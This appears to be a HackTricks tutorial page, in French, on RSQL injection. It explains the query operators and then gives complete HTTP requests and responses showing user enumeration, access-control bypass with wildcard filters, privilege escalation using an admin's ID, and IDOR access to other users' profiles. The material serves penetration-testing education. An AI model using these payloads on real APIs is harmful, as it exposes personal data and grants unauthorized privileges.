RSQL Injection
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce que RSQL ?
RSQL est un langage de requĂȘte conçu pour le filtrage paramĂ©trĂ© des entrĂ©es dans les API RESTful. BasĂ© sur FIQL (Feed Item Query Language), spĂ©cifiĂ© Ă l'origine par Mark Nottingham pour interroger des flux Atom, RSQL se distingue par sa simplicitĂ© et sa capacitĂ© Ă exprimer des requĂȘtes complexes de maniĂšre compacte et conforme aux URI sur HTTP. Cela en fait un excellent choix en tant que langage de requĂȘte gĂ©nĂ©ral pour la recherche d'endpoints REST.
Aperçu
L'injection RSQL est une vulnĂ©rabilitĂ© dans les applications web qui utilisent RSQL comme langage de requĂȘte dans les API RESTful. Semblable Ă SQL Injection et LDAP Injection, cette vulnĂ©rabilitĂ© se produit lorsque les filtres RSQL ne sont pas correctement assainis, permettant Ă un attaquant d'injecter des requĂȘtes malveillantes pour accĂ©der, modifier ou supprimer des donnĂ©es sans autorisation.
Comment cela fonctionne-t-il ?
RSQL vous permet de construire des requĂȘtes avancĂ©es dans les API RESTful, par exemple :
/products?filter=price>100;category==electronics
Cela se traduit par une requĂȘte structurĂ©e qui filtre les produits avec un prix supĂ©rieur Ă 100 et la catĂ©gorie "Ă©lectronique".
Si l'application ne valide pas correctement les entrĂ©es de l'utilisateur, un attaquant pourrait manipuler le filtre pour exĂ©cuter des requĂȘtes inattendues, telles que :
/products?filter=id=in=(1,2,3);delete_all==true
Ou mĂȘme profiter pour extraire des informations sensibles avec des requĂȘtes boolĂ©ennes ou des sous-requĂȘtes imbriquĂ©es.
Risques
- Exposition de donnĂ©es sensibles : Un attaquant peut rĂ©cupĂ©rer des informations qui ne devraient pas ĂȘtre accessibles.
- Modification ou suppression de données : Injection de filtres qui altÚrent les enregistrements de la base de données.
- Escalade de privilÚges : Manipulation d'identifiants qui accordent des rÎles via des filtres pour tromper l'application en accédant avec les privilÚges d'autres utilisateurs.
- Ăvasion des contrĂŽles d'accĂšs : Manipulation de filtres pour accĂ©der Ă des donnĂ©es restreintes.
- Usurpation d'identitĂ© ou IDOR : Modification d'identifiants entre utilisateurs via des filtres qui permettent d'accĂ©der aux informations et ressources d'autres utilisateurs sans ĂȘtre correctement authentifiĂ© en tant que tel.
Opérateurs RSQL pris en charge
Opérateur | Description | Exemple |
---|---|---|
; / and | OpĂ©rateur logique ET. Filtre les lignes oĂč les deux conditions sont vraies | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | OpĂ©rateur logique OU. Filtre les lignes oĂč au moins une condition est vraie | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | Effectue une requĂȘte Ă©gal. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont exactement Ă©gales Ă queryValue | /api/v2/myTable?q=columnA==queryValue |
=q= | Effectue une requĂȘte de recherche. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA contiennent queryValue | /api/v2/myTable?q=columnA=q=queryValue |
=like= | Effectue une requĂȘte de type. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA ressemblent Ă queryValue | /api/v2/myTable?q=columnA=like=queryValue |
=in= | Effectue une requĂȘte in. Renvoie toutes les lignes de myTable oĂč columnA contient valueA OU valueB | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | Effectue une requĂȘte exclure. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA ne sont ni valueA ni valueB | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | Effectue une requĂȘte non Ă©gal. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA ne sont pas Ă©gales Ă queryValue | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | Effectue une requĂȘte non type. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA ne ressemblent pas Ă queryValue | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | Effectue une requĂȘte infĂ©rieur Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont infĂ©rieures Ă queryValue | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | Effectue une requĂȘte infĂ©rieur Ă ou Ă©gal Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont infĂ©rieures ou Ă©gales Ă queryValue | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | Effectue une requĂȘte supĂ©rieur Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont supĂ©rieures Ă queryValue | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | Effectue une requĂȘte Ă©gal Ă ou supĂ©rieur Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont Ă©gales ou supĂ©rieures Ă queryValue | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | Effectue une requĂȘte de Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont Ă©gales ou supĂ©rieures Ă fromValue, et infĂ©rieures ou Ă©gales Ă toValue | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
Remarque : Tableau basé sur des informations provenant des applications MOLGENIS et rsql-parser.
Exemples
- name=="Kill Bill";year=gt=2003
- name=="Kill Bill" and year>2003
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
Remarque : Tableau basé sur des informations provenant de l'application rsql-parser.
Filtres courants
Ces filtres aident Ă affiner les requĂȘtes dans les API :
Filtre | Description | Exemple |
---|---|---|
filter[users] | Filtre les résultats par utilisateurs spécifiques | /api/v2/myTable?filter[users]=123 |
filter[status] | Filtre par statut (actif/inactif, terminé, etc.) | /api/v2/orders?filter[status]=active |
filter[date] | Filtre les résultats dans une plage de dates | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | Filtre par catégorie ou type de ressource | /api/v2/products?filter[category]=electronics |
filter[id] | Filtre par un identifiant unique | /api/v2/posts?filter[id]=42 |
ParamĂštres courants
Ces paramÚtres aident à optimiser les réponses API :
ParamĂštre | Description | Exemple |
---|---|---|
include | Inclut des ressources liées dans la réponse | /api/v2/orders?include=customer,items |
sort | Trie les résultats par ordre croissant ou décroissant | /api/v2/users?sort=-created_at |
page[size] | ContrÎle le nombre de résultats par page | /api/v2/products?page[size]=10 |
page[number] | Spécifie le numéro de la page | /api/v2/products?page[number]=2 |
fields[resource] | Définit quels champs retourner dans la réponse | /api/v2/users?fields[users]=id,name,email |
search | Effectue une recherche plus flexible | /api/v2/posts?search=technology |
Fuite d'informations et énumération des utilisateurs
La requĂȘte suivante montre un point de terminaison d'enregistrement qui nĂ©cessite le paramĂštre email pour vĂ©rifier s'il y a un utilisateur enregistrĂ© avec cet email et renvoyer un vrai ou faux selon qu'il existe ou non dans la base de donnĂ©es :
RequĂȘte
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
Bien qu'un /api/registrations?email=<emailAccount>
soit attendu, il est possible d'utiliser des filtres RSQL pour tenter d'énumérer et/ou d'extraire des informations sur les utilisateurs grùce à l'utilisation d'opérateurs spéciaux :
Request
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
Dans le cas oĂč un compte email valide correspond, l'application renverrait les informations de l'utilisateur au lieu d'un classique âtrueâ, "1" ou autre dans la rĂ©ponse au serveur :
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Ăvasion d'autorisation
Dans ce scénario, nous partons d'un utilisateur avec un rÎle de base et pour lequel nous n'avons pas de permissions privilégiées (par exemple, administrateur) pour accéder à la liste de tous les utilisateurs enregistrés dans la base de données :
Demande
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Encore une fois, nous utilisons les filtres et les opĂ©rateurs spĂ©ciaux qui nous permettront d'obtenir une alternative pour obtenir les informations des utilisateurs et d'Ă©viter le contrĂŽle d'accĂšs. Par exemple, filtrer par ces users qui contiennent la lettre âaâ dans leur ID d'utilisateur :
Request
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Escalade de privilĂšges
Il est trÚs probable de trouver certains points de terminaison qui vérifient les privilÚges des utilisateurs en fonction de leur rÎle. Par exemple, nous avons affaire à un utilisateur qui n'a aucun privilÚge :
Demande
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
En utilisant certains opérateurs, nous pourrions énumérer les utilisateurs administrateurs :
Request
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
AprĂšs avoir connu un identifiant d'utilisateur administrateur, il serait possible d'exploiter une Ă©lĂ©vation de privilĂšges en remplaçant ou en ajoutant le filtre correspondant avec l'identifiant de l'administrateur et en obtenant les mĂȘmes privilĂšges :
Request
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......
Usurpation d'identité ou Références d'Objet Direct Insecure (IDOR)
En plus de l'utilisation du paramĂštre filter
, il est possible d'utiliser d'autres paramĂštres tels que include
qui permet d'inclure dans le résultat certains paramÚtres (par exemple, langue, pays, mot de passe...).
Dans l'exemple suivant, les informations de notre profil utilisateur sont affichées :
Request
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
La combinaison de filtres peut ĂȘtre utilisĂ©e pour contourner le contrĂŽle d'autorisation et accĂ©der aux profils d'autres utilisateurs :
Request
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Réponse
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.